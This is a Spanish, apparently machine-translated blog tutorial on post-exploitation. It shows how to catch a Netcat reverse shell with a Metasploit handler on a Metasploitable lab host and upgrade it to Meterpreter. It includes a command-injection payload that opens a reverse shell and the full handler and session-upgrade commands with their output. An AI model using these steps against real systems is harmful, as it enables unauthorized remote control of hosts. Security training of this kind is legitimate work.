NOTA IMPORTANTE: El delito informático está severamente castigado por la ley. Esta página no promueve el delito informático, es divulgativa y muestra los mecanismos que utilizan los cibercriminales para poder identificar el ataque si has sido victima de uno de ellos. En el caso de que hayas sido victima de un ataque te recomendamos que busques recursos legales en la sección Cibercrime Law o en la página del Instituto Nacional de Ciberseguridad: https://www.incibe.es/

BlogPost-Exploitation

Cómo: elevar un shell Netcat a una sesión Meterpreter para obtener más poder y control

[*]

Hacer estallar un shell es a menudo el objetivo principal de un pirata informático, y puede ser emocionante cuando se ejecuta correctamente, pero a veces tienen sus limitaciones. El Meterpreter de Metasploit probablemente no necesite presentación, pero esta poderosa y dinámica carga útil puede ofrecer una ventaja sobre los proyectiles normales. Para probarlo, mostraremos cómo tomar un shell de comandos normal y elevarlo a una sesión de Meterpreter.

Shell contra Meterpreter

Un shell es básicamente una interfaz que actúa como un acceso directo a los comandos de un sistema operativo. Cuando se trata de piratería, hay dos tipos de shells de los que se habla principalmente: bind shells y reverse shells.

Un shell de vinculación se une de manera efectiva a un determinado puerto en el objetivo, y el sistema atacante se conecta a ese puerto de escucha y se crea una sesión. Un shell inverso, por otro lado, se conecta activamente desde la máquina objetivo a la máquina atacante, donde un oyente está esperando conexiones entrantes.

Los proyectiles de mando proporcionan una excelente manera de profundizar realmente en el objetivo, pero no siempre son la mejor opción. Por lo general, están restringidos a los privilegios del usuario que inició el shell, por lo que el poder que viene con el acceso de nivel raíz no siempre está disponible.

Meterpreter nos permite ejecutar módulos posteriores a la explotación y exploits de escalada de privilegios localmente en el objetivo. Utiliza métodos de comunicación cifrados y no se escribe nada en el disco durante la operación, lo que lo convierte en un arma adecuada que deja poca o ninguna evidencia. Meterpreter ofrece muchas otras características y es altamente extensible, lo que lo convierte en una excelente adición al arsenal de cualquier hacker.

Paso 1: iniciar un oyente

Para comenzar, inicie Metasploit. Tipo msfconsole en la terminal y nos recibirá un pequeño cartel de bienvenida después de que se cargue. Usaremos una gran característica de Metasploit, que es la capacidad de configurar un oyente universal que puede manejar una amplia gama de diferentes tipos de shells. Ingrese lo siguiente para cargar el módulo:

use exploit/multi/handler

A continuación, necesitamos especificar el puerto y el host de escucha, utilizando la dirección IP de nuestra máquina local y un número de puerto arbitrario. También necesitamos establecer la carga útil: el versátil shell TCP inverso es una excelente opción aquí.

msf5 exploit(multi/handler) > set lhost 172.16.1.100
lhost => 172.16.1.100
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp

Tipo opciones cuando se le solicite para verificar que nuestra configuración sea correcta.

msf5 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (linux/x86/shell/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.1.100     yes       The listen address (an interface may be specified)
   LPORT  1234             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

Parece que estamos listos para irnos. Tipo correr para iniciar el controlador, y ahora está listo y esperando una conexión entrante.

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.1.100:1234

Paso 2: Obtenga Shell con Netcat

Netcat es una poderosa utilidad de red que se usa comúnmente para solucionar problemas de conectividad, pero también se puede utilizar como puerta trasera a través de shells de comando. Podemos usar esta herramienta, junto con una vulnerabilidad de inyección de comandos, para generar un shell y volver a conectarnos a nuestra máquina local. Si todo va bien, el controlador que configuramos anteriormente capturará el shell y podremos emitir comandos.

Esta vulnerabilidad nos permite agregar comandos del sistema a la entrada de la utilidad ping.

127.0.0.1 && nc 172.16.1.100 1234 -e /bin/sh

Aquí, hemos agregado el comando Netcat para generar un shell y conectarnos a nuestra máquina local en el puerto 1234:

Después de un momento, de vuelta en la terminal con nuestro controlador, vemos que se abre una sesión. Ahora podemos emitir comandos como identificación y uname -a para verificar esto.

[*] Sending stage (36 bytes) to 172.16.1.102
[*] Command shell session 1 opened (172.16.1.100:1234 -> 172.16.1.102:53462) at 2019-01-29 15:28:28 -0600

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Finalmente, necesitamos hacer un fondo de esta sesión presionando Ctrl-Z, seguido por Y para confirmar.

^Z
Background session 1? [y/N]  y
msf5 exploit(multi/handler) >

Paso 3: Eleve Shell a la sesión de Meterpreter

Ahora que hemos logrado una sesión en el objetivo, podemos actualizar ese humilde caparazón a una sesión Meterpreter completa. Esto permitirá una mayor flexibilidad a la hora de interactuar con el objetivo.

Para ver las sesiones que están abiertas actualmente, escriba sesiones en el aviso. A continuación, podemos ver la sesión que abrimos anteriormente, junto con su ID, tipo de shell e información de conexión.

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type             Information  Connection
  --  ----  ----             -----------  ----------
  1         shell x86/linux               172.16.1.100:1234 -> 172.16.1.102:53462 (172.16.1.102)

La forma más sencilla de transformar una sesión regular en una sesión de Meterpreter es utilizar el -u bandera. Emita el comando de sesiones con el ID apropiado y observe cómo ocurre la magia.

msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.1.100:4433
[*] Sending stage (914728 bytes) to 172.16.1.102
[*] Meterpreter session 2 opened (172.16.1.100:4433 -> 172.16.1.102:42790) at 2019-01-29 15:30:28 -0600
[*] Command stager progress: 100.00% (773/773 bytes)

Ahora parece que en realidad no pasó nada, pero de hecho, hemos abierto una sesión de Meterpreter en segundo plano; no nos deja caer automáticamente en ella. Si emitimos el sesiones comando de nuevo, mostrará nuestra nueva sesión de Meterpreter con un ID de 2. Entonces podemos usar el -I bandera para interactuar con él.

msf5 exploit(multi/handler) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

Y ahora tenemos un caparazón Meterpreter. Sin embargo, hay otra forma de elevar un shell normal a una sesión de Meterpreter que es similar al método descrito anteriormente, y es usar manualmente el shell_to_meterpreter módulo de post-explotación.

Manera alternativa de elevar Shell a la sesión Meterpreter

Para cargarlo, escriba lo siguiente.

use post/multi/manage/shell_to_meterpreter

Todo lo que tenemos que hacer es especificar la sesión existente que queremos actualizar. Después de eso, solo para estar seguros, podemos ver la configuración actual con el opciones mando.

msf5 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf5 post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  true             yes       Start an exploit/multi/handler to receive the connection
   LHOST                     no        IP of host that will receive the connection from the payload (Will try to auto detect).
   LPORT    4433             yes       Port for payload to connect to.
   SESSION  1                yes       The session to run this module on.

Tipo correr para empezar.

msf5 post(multi/manage/shell_to_meterpreter) > run

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.1.100:4433
[*] Sending stage (914728 bytes) to 172.16.1.102
[*] Meterpreter session 3 opened (172.16.1.100:4433 -> 172.16.1.102:59832) at 2019-01-29 15:34:16 -0600
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

Nuevamente, esto abre la nueva sesión en segundo plano, por lo que tenemos que emitir el sesiones comando para determinar la ID correcta.

msf5 post(multi/manage/shell_to_meterpreter) > sessions

Active sessions
===============

  Id  Name  Type                   Information  Connection
  --  ----  ----                   -----------  ----------
  1         shell x86/linux                     172.16.1.100:1234 -> 172.16.1.102:53462 (172.16.1.102)
  3         meterpreter x86/linux               172.16.1.100:4433 -> 172.16.1.102:59832 (172.16.1.102)

Podemos ver que esta nueva sesión de Meterpreter tiene un ID de 3. Ahora estamos listos para interactuar con ella.

msf5 post(multi/manage/shell_to_meterpreter) > sessions -i 3
[*] Starting interaction with 3...

meterpreter >

Ahora tenemos un caparazón Meterpreter, y desde aquí, el cielo es el límite.

Terminando las cosas

En este tutorial, aprendimos cómo tomar un shell de comandos antiguo normal y elevarlo al estado Meterpreter. Usamos un shell Netcat aquí, pero cualquier otro tipo de shell debería funcionar con este método. Meterpreter ofrece una gran cantidad de poder y control sobre cualquier objetivo, así que sal y sigue hackeando.

Imagen de portada de StockSnap / Pixabay; Capturas de pantalla de drd_ / Null Byte

Publicaciones relacionadas

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Mira también
Cerrar
Botón volver arriba
Cerrar